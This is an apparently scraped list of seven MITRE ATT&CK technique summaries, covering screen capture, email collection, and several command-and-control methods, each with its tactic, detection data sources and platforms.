Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre